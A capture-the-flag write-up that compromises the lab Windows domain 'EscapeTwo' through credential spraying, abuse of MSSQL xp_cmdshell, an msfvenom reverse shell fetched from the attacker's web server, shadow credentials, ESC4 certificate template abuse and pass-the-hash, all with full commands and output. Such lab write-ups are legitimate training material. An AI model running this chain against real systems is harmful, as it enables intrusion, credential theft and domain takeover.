24 May, 2025
13 min read
In case you want to contact me, you can find me on my LinkedIn profile.
EscapeTwo is an easy Windows machine focused on a full domain compromise. We start with low-privileged user credentials and find a corrupted Excel file on a share. By manipulating its bytes, we uncover new credentials, which we then spray across the domain to gain initial MSSQL access. Further enumeration within SQL yields more credentials, leading to WinRM access. Deeper domain analysis reveals a user with write owner rights over an ADCS managing account. This allows us to exploit a misconfiguration in Active Directory Certificate Services, ultimately recovering the Administrator hash and achieving a complete domain compromise.
In this box, as it's common in real life Windows pentests, we'll start with credentials for the following account:
rose / KxEPkKe6R8su
As always, we start our scan with nmap
and check for the services running in the host:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-22 20:35 EDT
Nmap scan report for 10.129.12.88
Host is up (0.17s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-05-23 00:35:47Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-05-23T00:37:21+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after: 2025-06-08T17:35:00
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-05-23T00:37:21+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after: 2025-06-08T17:35:00
1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-info:
| 10.129.12.88:1433:
| Version:
| name: Microsoft SQL Server 2019 RTM
| number: 15.00.2000.00
| Product: Microsoft SQL Server 2019
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
|_ssl-date: 2025-05-23T00:37:21+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-05-23T00:32:07
|_Not valid after: 2055-05-23T00:32:07
| ms-sql-ntlm-info:
| 10.129.12.88:1433:
| Target_Name: SEQUEL
| NetBIOS_Domain_Name: SEQUEL
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: sequel.htb
| DNS_Computer_Name: DC01.sequel.htb
| DNS_Tree_Name: sequel.htb
|_ Product_Version: 10.0.17763
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-05-23T00:37:21+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after: 2025-06-08T17:35:00
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-05-23T00:37:21+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after: 2025-06-08T17:35:00
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49691/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49692/tcp open msrpc Microsoft Windows RPC
49697/tcp open msrpc Microsoft Windows RPC
49704/tcp open msrpc Microsoft Windows RPC
49726/tcp open msrpc Microsoft Windows RPC
49745/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2025-05-23T00:36:43
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 107.24 seconds
Given the credentials we have, we verify if we are able to connect to SMB:
874anthony@~: crackmapexec smb sequel.htb -u 'rose' -p 'KxEPkKe6R8su'
SMB sequel.htb 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB sequel.htb 445 DC01 [+] sequel.htb\rose:KxEPkKe6R8su
We can. Now, we enumerate the shares available to that user with the --shares
option:
874anthony@~: crackmapexec smb sequel.htb -u 'rose' -p 'KxEPkKe6R8su' --shares
SMB sequel.htb 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB sequel.htb 445 DC01 [+] sequel.htb\rose:KxEPkKe6R8su
SMB sequel.htb 445 DC01 [+] Enumerated shares
SMB sequel.htb 445 DC01 Share Permissions Remark
SMB sequel.htb 445 DC01 ----- ----------- ------
SMB sequel.htb 445 DC01 Accounting Department READ
SMB sequel.htb 445 DC01 ADMIN$ Remote Admin
SMB sequel.htb 445 DC01 C$ Default share
SMB sequel.htb 445 DC01 IPC$ READ Remote IPC
SMB sequel.htb 445 DC01 NETLOGON READ Logon server share
SMB sequel.htb 445 DC01 SYSVOL READ Logon server share
SMB sequel.htb 445 DC01 Users READ
We then connect with smbclient
tool and authenticate with these credentials to both shares and download the files:
874anthony@~: smbclient "//sequel.htb/Accounting Department" -U rose%KxEPkKe6R8su
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Sun Jun 9 06:52:21 2024
.. D 0 Sun Jun 9 06:52:21 2024
accounting_2024.xlsx A 10217 Sun Jun 9 06:14:49 2024
accounts.xlsx A 6780 Sun Jun 9 06:52:07 2024
6367231 blocks of size 4096. 858859 blocks available
smb: \>
This step is totally optional, but the files seems to be corrupt (at least in my case). I tried to open them in Google Sheets and LibreOffice and I couldn't. So for this task, I'll convert them to .csv
format and open them again:
First, I'll install the xlsx2csv
package from Python:
874anthony@~: pip install xlsx2csv
After that, I could just run the command but I got the following error:
874anthony@~: xlsx2csv accounts.xlsx accounts_2.csv
File "/home/kali/.pyenv/versions/3.12.0/lib/python3.12/zipfile/__init__.py", line 1607, in open
raise BadZipFile("Bad magic number for file header")
zipfile.BadZipFile: Bad magic number for file header
It seems that the corresponding file header is not ZIP. I'll modify it using the hexedit
tool (sudo apt install hexedit
)
874anthony@~: hexedit accounts.xlsx
This is the output, I'll modify the first 4 bytes to 50 4B 03 04
, and I'll press Ctrl + X
to save and exit
After converting it again:
874anthony@~: xlsx2csv accounts.xlsx accounts_2.csv
I can open the Excel file in LibreOffice!
I got some credentials. I'll note them down.
First, I'll run crackmapexec
to see more users in the host with the smb module
874anthony@~: crackmapexec smb sequel.htb -u rose -p 'KxEPkKe6R8su' --users
SMB sequel.htb 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB sequel.htb 445 DC01 [+] sequel.htb\rose:KxEPkKe6R8su
SMB sequel.htb 445 DC01 [+] Enumerated domain user(s)
SMB sequel.htb 445 DC01 sequel.htb\ca_svc badpwdcount: 5 desc:
SMB sequel.htb 445 DC01 sequel.htb\rose badpwdcount: 16 desc:
SMB sequel.htb 445 DC01 sequel.htb\sql_svc badpwdcount: 5 desc:
SMB sequel.htb 445 DC01 sequel.htb\oscar badpwdcount: 3 desc:
SMB sequel.htb 445 DC01 sequel.htb\ryan badpwdcount: 5 desc:
SMB sequel.htb 445 DC01 sequel.htb\michael badpwdcount: 1 desc:
SMB sequel.htb 445 DC01 sequel.htb\krbtgt badpwdcount: 1 desc: Key Distribution Center Service Account
SMB sequel.htb 445 DC01 sequel.htb\Guest badpwdcount: 1 desc: Built-in account for guest access to the computer/domain
SMB sequel.htb 445 DC01 sequel.htb\Administrator badpwdcount: 0 desc: Built-in account for administering the computer/domain
I see more users than those one listed in the Excel file, just for sanity check I'll also note them down.
Given that we have a sa
user and a password (and the port 1443), it's indicating that we can try those credentials for the MSSQL instance:
874anthony@~: impacket-mssqlclient sa:'MSSQLP@ssw0rd!'@sequel.htb
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands
SQL (sa dbo@master)>
Now, we are going to try the xp_cmdshell
built-in feature that MS SQL offers us, there's this nice Impacket MSSQL cheat sheet commands and this MSSQL for Pentesters blog post to understand the attack and other possible paths. Given this, we are going to try and see if it's available:
SQL (sa dbo@master)> EXEC xp_cmdshell "whoami"
ERROR(DC01\SQLEXPRESS): Line 1: SQL Server blocked access to procedure 'sys.xp_cmdshell' of component 'xp_cmdshell' because this component is turned off as part of the security configuration for this server. A system administrator can enable the use of 'xp_cmdshell' by using sp_configure. For more information about enabling 'xp_cmdshell', search for 'xp_cmdshell' in SQL Server Books Online.
It's not, we can try and run the following commands to enable it (given we are the sa
user, it's most probably we are the sysadmin, hence we can do it):
SQL (sa dbo@master)> EXEC sp_configure 'show advanced options', 1; # We enable advanced options.
INFO(DC01\SQLEXPRESS): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
SQL (sa dbo@master)> EXEC sp_configure 'xp_cmdshell', 1; # We enable the feature to execute commands
INFO(DC01\SQLEXPRESS): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (sa dbo@master)> RECONFIGURE # Reconfigure to install these commands
SQL (sa dbo@master)> EXEC xp_cmdshell "whoami"
output
--------------
sequel\sql_svc
NULL
SQL (sa dbo@master)>
Now, all we have left is to give us back a reverse shell, first, we are going to create a rev.exe
executable with msfvenom
module:
874anthony@~: msfvenom -p windows -a x64 -p windows/x64/shell_reverse_tcp LHOST=10.10.14.167 LPORT=9001 -f exe -o rev.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of exe file: 7168 bytes
Saved as: rev.exe
We then download it and execute it from the mssql
instance with xp_cmdshell
and execute it:
874anthony@~: python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.12.88 - - [22/May/2025 21:00:27] "GET /rev.exe HTTP/1.1" 200 -
In the instance:
SQL (sa dbo@master)> exec xp_cmdshell 'powershell -c "Invoke-WebRequest -Uri http://10.10.14.167/rev.exe -OutFile C:\Windows\Temp\rev.exe"'
output
------
NULL
SQL (sa dbo@master)> exec xp_cmdshell "C:\Windows\Temp\rev.exe"
And we get a connection:
874anthony@~: nc -lnvp 9001
listening on [any] 9001 ...
connect to [10.10.14.167] from (UNKNOWN) [10.129.12.88] 55188
Microsoft Windows [Version 10.0.17763.6659]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
sequel\sql_svc
Same as Escape (0xdf write-up) , we start by listing the installation of the MSSQL service in this Windows box (SQL2019 folder):
C:\>dir
Volume in drive C has no label.
Volume Serial Number is 3705-289D
Directory of C:\
11/05/2022 12:03 PM <DIR> PerfLogs
01/04/2025 08:11 AM <DIR> Program Files
06/09/2024 08:37 AM <DIR> Program Files (x86)
06/08/2024 03:07 PM <DIR> SQL2019
06/09/2024 06:42 AM <DIR> Users
01/04/2025 09:10 AM <DIR> Windows
0 File(s) 0 bytes
6 Dir(s) 3,799,482,368 bytes free
We see a new password in the configuration files, we are going to add that to our already collected passwords from our previous phases:
C:\SQL2019\ExpressAdv_ENU>type sql-Configuration.INI
[OPTIONS]
ACTION="Install"
QUIET="True"
FEATURES=SQL
INSTANCENAME="SQLEXPRESS"
INSTANCEID="SQLEXPRESS"
RSSVCACCOUNT="NT Service\ReportServer$SQLEXPRESS"
AGTSVCACCOUNT="NT AUTHORITY\NETWORK SERVICE"
AGTSVCSTARTUPTYPE="Manual"
COMMFABRICPORT="0"
COMMFABRICNETWORKLEVEL=""0"
COMMFABRICENCRYPTION="0"
MATRIXCMBRICKCOMMPORT="0"
SQLSVCSTARTUPTYPE="Automatic"
FILESTREAMLEVEL="0"
ENABLERANU="False"
SQLCOLLATION="SQL_Latin1_General_CP1_CI_AS"
SQLSVCACCOUNT="SEQUEL\sql_svc"
SQLSVCPASSWORD="WqSZAF6CysDQbGb3"
SQLSYSADMINACCOUNTS="SEQUEL\Administrator"
SECURITYMODE="SQL"
SAPWD="MSSQLP@ssw0rd!"
ADDCURRENTUSERASSQLADMIN="False"
TCPENABLED="1"
NPENABLED="1"
BROWSERSVCSTARTUPTYPE="Automatic"
IAcceptSQLServerLicenseTerms=True
With that in mind, we can target a password spraying attack with this new password with possible users using the winrm
protocol and see if we can access a user:
crackmapexec winrm sequel.htb -u users.txt -p 'WqSZAF6CysDQbGb3' --continue-on-success
[...SNIP...]
WINRM sequel.htb 5985 DC01 [+] sequel.htb\ryan:WqSZAF6CysDQbGb3 (Pwn3d!)
And we get a hit for the ryan
user! We use those credentials to authenticate with evil-winrm
and get the user flag:
*Evil-WinRM* PS C:\Users\ryan\Documents>
*Evil-WinRM* PS C:\Users\ryan\Desktop> type user.txt
a68c772170d12903*************
We run the bloodhound collector with the Ryan credentials, and put the data into bloodhound. In bloodhound we notice our ryan
user (marked as owned). Has WriteOwner
permissions over ca_svc
, who is MemberOf
the Cert Publishers
group who has full control over managing the certificates
After discovering I had WriteOwner
permissions on ca_svc
, I enumerated the available certificates:
874anthony@~: certipy-ad find -u ryan@sequel.htb -p 'WqSZAF6CysDQbGb3' -dc-ip 10.129.12.88
I found the following vulnerable template:
{
"Template Name": "DunderMifflinAuthentication",
"Enabled": true,
"Permissions": {
"Enrollment Rights": ["Domain Admins", "Enterprise Admins"],
"Full Control Principals": ["Cert Publishers"]
}
Since ca_svc
is in the Cert Publishers
group, controlling that account would allow me to abuse the template.
I used bloodyAD
to make ryan the owner of ca_svc:
874anthony@~: bloodyAD --host 10.129.12.88 -d 'sequel.htb' -u ryan -p 'WqSZAF6CysDQbGb3' set owner 'ca_svc' 'ryan'
Ownership alone isn't enough. I granted ryan FullControl over ca_svc using impacket-dacledit:
874anthony@~: impacket-dacledit -action 'write' -rights 'FullControl' -principal 'ryan' -target 'ca_svc' 'sequel.htb/ryan:WqSZAF6CysDQbGb3'
Why FullControl? This is necessary to perform operations like setting SPNs, writing shadow credentials, or modifying sensitive attributes in ca_svc.
I used certipy to add Key Credential Link data (aka shadow credentials) to ca_svc:
874anthony@~: certipy-ad shadow auto -u 'ryan@sequel.htb' -p 'WqSZAF6CysDQbGb3' -account 'ca_svc' -dc-ip 10.129.12.88
This let me impersonate ca_svc
via Kerberos (without resetting its password), by generating a .ccache
and .pfx
.
Using the ca_svc.ccache
shadow credentials, I validated access to the vulnerable template:
874anthony@~: KRB5CCNAME=$PWD/ca_svc.ccache certipy-ad template -k -template DunderMifflinAuthentication -dc-ip 10.129.12.88 -target dc01.sequel.htb
Then, I requested a certificate impersonating the Administrator:
874anthony@~: certipy-ad req -u ca_svc -hashes 3b181b914e7a9d5508ea1e20bc2b7fce \
-ca sequel-DC01-CA -target sequel.htb \
-dc-ip 10.129.12.88 -template DunderMifflinAuthentication \
-upn administrator@sequel.htb -ns 10.129.12.88 -dns 10.129.12.88
I then authenticated with the certificate:
874anthony@~: certipy-ad auth -pfx administrator_10.pfx -domain sequel.htb
This gave me the NT hash for the Administrator. Now I can just "Pass The Hash"
874anthony@~: evil-winrm -i sequel.htb -u administrator -H '7a8d4e04986afa8ed4060f75e5a0b3ff'
And we can read the root flag:
*Evil-WinRM* PS C:\Users\Administrator\Desktop>
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
4f6f68c6523359ad****************
ESC4 refers to a class of misconfigurations in Active Directory Certificate Services where:
If the attacker can control a Cert Publisher, they can enroll certificates for any user, including domain admins.
If you control a Cert Publisher → and the template is weak → you can impersonate anyone.
Shadow credentials are a technique to silently register a key credential (like a smartcard or certificate) to an account by modifying its msDS-KeyCredentialLink
attribute. They do not require resetting the password.
Once added, the attacker can authenticate via Kerberos as that user using a self-issued certificate. Certipy
automates this process with (an example):
certipy-ad shadow auto -u 'ryan@sequel.htb' -p 'WqSZAF6CysDQbGb3' -account 'ca_svc' -dc-ip 10.129.12.88
This creates .ccache
and .pfx
files to impersonate the target account.